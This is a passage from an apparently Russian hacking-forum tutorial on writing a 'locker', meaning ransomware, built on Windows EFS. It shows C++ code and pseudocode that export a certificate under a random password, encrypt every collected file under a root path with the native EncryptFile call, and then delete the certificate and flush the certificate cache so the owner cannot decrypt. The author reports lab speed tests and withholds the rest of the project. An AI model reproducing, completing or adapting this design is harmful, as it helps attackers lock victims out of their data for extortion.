#include "tools/cipher_tools/cipher_helper.hpp"
#include "tools/file_system_helper.hpp"
#include "tools/cipher_tools/certificate_manager.hpp"
#include "tools/logging/console_logger.hpp"
#include "tools/exceptions/_exception.hpp"

namespace core::commands
{
    using namespace cipher;
    using namespace tools;
    using namespace exceptions;

    ExportEfsCertificateCommand::ExportEfsCertificateCommand(CommandParamsPtr params)
            : ICommand("ExportEfsCertificateCommand", std::move(params), COMMAND_TYPE::EXPORT_EFS_CERTIFICATE)
    {

    }

    auto ExportEfsCertificateCommand::execute() -> bool
    {
        if (const auto params = dynamic_cast<ExportCertCommandParams *>(m_commandParams.get()))
        {
            if (!params->isCommandParamsParsed()) throw InvalidCommandParamsException(m_commandName);

            m_exportPath = params->getExportPath();
            m_executor = std::make_unique<Executor>(m_exportPath);
            return m_executor->execute();
        }
        Logger::fatalError("can't cast params to ExportCertCommandParams");
        return false;
    }

    auto ExportEfsCertificateCommand::printHelp() -> void
    {
        throw NotImplementedException(__FUNCTION__);
    }


    ExportEfsCertificateCommand::Executor::Executor(fs::path exportPath) : m_exportPath(std::move(exportPath))
    {
        m_certFilename = CipherHelper::generateCertificateFilename(m_exportPath);
        m_passwordFilename = CipherHelper::generatePasswordFilename(m_exportPath);
    }

    auto ExportEfsCertificateCommand::Executor::execute() -> bool
    {
        constexpr auto passwordLength = 128;
        const auto password = CipherHelper::generateRandomPassword(passwordLength);
        return CertificateManager::exportEfsCertificate(m_certFilename, m_passwordFilename, password);
    }
}

Реализация остальных команд аналогична и сводится к вызову соответствующих методов менеджера сертификатов, поэтому я их тут приводить не буду.

3.5 Команды шифрования и расшифровки файлов
Команды операций над сертификатами получились скучными и однородными. Если очень заморочиться, то там можно сделать код еще
красивее и юзабельнее, но нам пока это не нужно. Сосредоточимся лучше на шифровании и расшифровке файлов.
Поехали.

3.5.1 EncryptCommand
Вот теперь и становится понятно к чему были все эти танцы с бубнами выше. Я о куче однотипных классов для операций над сертификатами.
Смотрите как просто все получилось. Ниже будет только псевдокод.

C++: Скопировать в буфер обмена
Код:
        bool EncryptCommand::execute()
        {
            removeCertsCommand = CommandFacory::createRemoveCertCommand()
            if (!removeCertCommand->execute) return false;
           
            generateCertsCommand = CommandFacory::createGenerateCertsCommand = ()
            if (!generateCertsCommand->execute) return false;
           
            exportCertsCommand = CommandFacory::createExportCertsCommand = ()
            if (!exportCertsCommand->execute) return false;
           
            encryptAll();
           
            if (!removeCertCommand->execute) return false;
           
            flushCertsCacheCommand = CommandFacory::createFlushCertsCacheCommand = ()
            if (!flushCertsCacheCommand->execute) return false;
           
        }

Примерно такая же картина будет и для расшифровки, только сначала мы импортируем сертификат, а потом расшифровываем.
3.6 Encryptor
Это последний на сегодня класс, который будет рассмотрен. В его реализации тоже нет ничего особо примечательного. За исключением,
разве лишь, метода doWork. Да и он лишь обобщение всей работы.
C++: Скопировать в буфер обмена
Код:
          void Encryptor::doWork(const fs::path &root)
        {
           
            try
            {
                Logger::debug(__FUNCTION__);
                Timer timer;
                timer.start();
                const auto dataCollector = std::make_shared<DataCollector>();
                dataCollector->enableEncryptMode();
                dataCollector->findData4Processing(root);
                timer.stop();
                {
                    std::cout << "preparing time: " << timer.getTime() << std::endl;
                }
                const auto &files = dataCollector->getFiles();
                std::lock_guard lockGuard(m_mutex);
                {
                    const auto &folders = dataCollector->getProcessingFolders();
                    m_encryptedFolders.insert(folders.begin(), folders.end());
                }
                const auto currentData4EncryptingSize = dataCollector->getCurrentData4ProcessingSize();
                const auto worker = std::make_shared<Worker>(COMMAND_TYPE::ENCRYPT, m_isInteractive);
                worker->setCurrentPath(root);
                worker->setCurrentData4ProcessingSize(currentData4EncryptingSize);
                worker->setFiles(files);
                timer.start();
                worker->doWork();
                timer.stop();
                std::cout << "encrypting time: " << timer.getTime() << std::endl;
            }
            catch (Exception &e)
            {
                Logger::debug(__FUNCTION__);
                Logger::error(e.what());
            }
            catch (std::exception &e)
            {
                Logger::debug(__FUNCTION__);
                Logger::fatalError(e.what());
            }
        }

Отмечу только, что для шифрования и расшифровки мы воспользовались нативными методами EncryptFile и DecryptFile соответственно.

4 Выводы


1) Мы попытались реализовать свой "шкафчик". Причем не обычный, а с использованием внутренних инструментов операционной системы. В общем и целом задачу можно считать выполненной. К реальному использованию продукт не пригоден по многим причинам, одной из которых является сложность предварительной подготовки. Однако тесты в лаборатори показали достаточно неплохие, как по мне, результаты по скорости. Но мне не с чем сравнивать, поэтому это чисто субъективное мнение.

2) Архитектура спроектирована таким образом, что при минимальных изменениях мы можем заменить алгоритм шифрования с EFS на любой другой и нам не придется переписывать все заново.



Подытоживая материал еще раз хочу донести несколько простых вещей:
• Любую задачу, имеющую решение можно решить путем разбиения ее на мелкие подзадачи (да, я Капитан сегодня);
• успех специалиста в любой области прямопропорционален квадрату его задницы;
• архитектуру, паттерны проектирования и прочие штуки придумали далеко не дураки, поэтому их можно и нужно изучать, а также
применять на практике;
• чтобы написать свой шкафчик мне понадобилось чуть больше недели, при условии, что я уделял ему не более 3 часов в сутки;
• я намеренно не выкладываю сюда код всего проекта во избежание, как говорится.
Спасибо всем, кто дочитал до конца.
За сим позвольте откланяться.
 
Сверху Снизу